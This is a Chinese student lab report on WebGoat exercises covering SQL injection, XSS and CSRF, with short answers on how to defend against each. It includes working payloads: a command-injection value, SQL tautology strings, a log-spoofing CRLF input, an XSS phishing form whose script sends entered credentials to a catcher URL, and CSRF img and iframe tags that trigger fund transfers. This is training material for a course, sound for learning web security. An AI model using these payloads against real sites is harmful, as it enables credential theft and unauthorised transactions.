2018-2019-2 20165320 《网络对抗技术》 Exp9 Web安全基础
2018-2019-2 20165320 《网络对抗技术》 Exp9 Web安全基础
目录:
-
SQL注入:
-
Command Injection
-
Log Spoofing
-
Numeric SQL Injection
-
String SQL Injection
-
-
XSS 攻击:
-
Phishing with XSS
-
Stored XSS Attacks
-
-
CSRF攻击:
-
Cross Site Request Forgery
-
CSRF Prompt By‐Pass
-
一、实践回答问题
(1)SQL注入攻击原理,如何防御?
-
原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。
-
防御措施如下:
-
对输入的数据进行过滤,过滤掉敏感字符。加密数据库。
-
关闭或删除不必要的交互式提交表单页面。
-
普通用户与系统管理员用户的权限要有严格的区分。
-
(2)XSS攻击的原理,如何防御?
-
原理:XSS攻击(跨站脚本攻击)是一种在Web应用中的计算机安全漏洞,它允许恶意Web用户将代码植入到提供给其它用户使用的页面中。
-
防御:
-
提高用户防范意识,不轻易输入个人信息
-
对所有用户提交内容进行可靠的输入验证,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
-
(3)CSRF攻击原理,如何防御?
-
原理:CSRF(Cross-site request forgery)跨站请求伪造是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。
-
防御:
-
使用“请求令牌”。首先服务器端要以某种策略生成随机字符串,作为令牌(token),保存在Session里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与Session中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
-
将提交方法改为post,或将 GET请求设置为只浏览而不改变服务器端资源
-
定期清理掉没用的缓存
-
二、实践内容
(1)Webgoat安装:
-
首先从Webgoat官网下载相关.jar包
-
在Kali端输入:
java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar
运行
-
浏览器输入:
http://localhost:8080/WebGoat
进入WebGoat登录界面,输入默认的用户名密码登录
-
在使用前需要确认8080端口有没有被占用:
netstat -tupln | grep 8080
(2)SQL 注入攻击
1.命令注入:Command Injection
-
在网页的源码中注入
netstat
与ifconfig
命令:-
首先右击页面,选择
inspect Element
进入审查 -
选择复选框中的一行,修改为:
"& netstat -an & ipconfig"
-
单击
view
可以观察到攻击的成果
-
2.日志欺骗:Log Spoofing
-
通过在日志文件中插入脚本实现欺骗,攻击者可以利用这种方式清除他们在日志中的痕迹。
- 在
Username
中填入20165320%0d%0aLogin Succeeded !admin
- 在
3.数字型注入:Numeric SQL Injection
-
在station字段中注入特征字符,组合成新的SQL语句。注入永真式达到达到注入的效果。
-
右键点击页面,选择
inspect Element
审查网页元素对源代码进行修改,在选中的城市编号Value值中添加or 1=1
-
显示天气情况:
-
4.字符串注入:String SQL Injection
-
通过向数据库注入字符串绕过相关登录认证操作
-
输入查询的用户名
SQ' or 1=1--
-
得到所有用户的信用卡号码:
-
(3)XSS攻击
5.XSS 钓鱼 :Phishing with XSS
-
当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
-
创建一个表单代码,要求填写用户名与密码:
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
-
将该代码粘贴到Search输入框中,点击搜索:
-
填写表单,点击登录,获取相关信息:
-
6.存储型XSS攻击:Stored XSS Attacks
-
这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
- 在title中任意输入字符,留言板中输入:
- 在title中任意输入字符,留言板中输入:
(4)CSRF攻击
7.跨站请求伪造:Cross Site Request Forgery
-
跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。提交请求时,浏览器将添加与站点相关的所有cookie。因此,如果用户对站点进行了身份验证,并且拥有永久或当前会话cookie,那么站点将无法将其与合法的用户请求区分开来。
-
在title中输入任何参数,message框中输入:
<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=8888" width="1" height="1" />
-
以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的),用户一旦点击图片,就会触发一个CSRF事件,点击
Submit
提交
-
8.绕过 CSRF 确认:CSRF Prompt By‐Pass
-
跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它.
-
并在title框中输入学号,message框中输入代码:
<iframe src="attack?Screen=270&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=270&menu=900&transferFunds=CONFIRM"> </iframe>
-
点击
submit
生成相关链接:
-